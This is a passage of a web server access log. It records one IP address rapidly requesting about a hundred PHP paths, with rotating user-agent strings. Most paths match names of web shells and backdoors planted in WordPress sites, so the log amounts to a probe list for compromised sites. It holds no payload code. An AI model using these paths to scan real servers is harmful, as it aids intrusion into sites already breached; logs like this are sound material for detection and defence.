"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:41 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:42 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:43 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:44 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:45 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 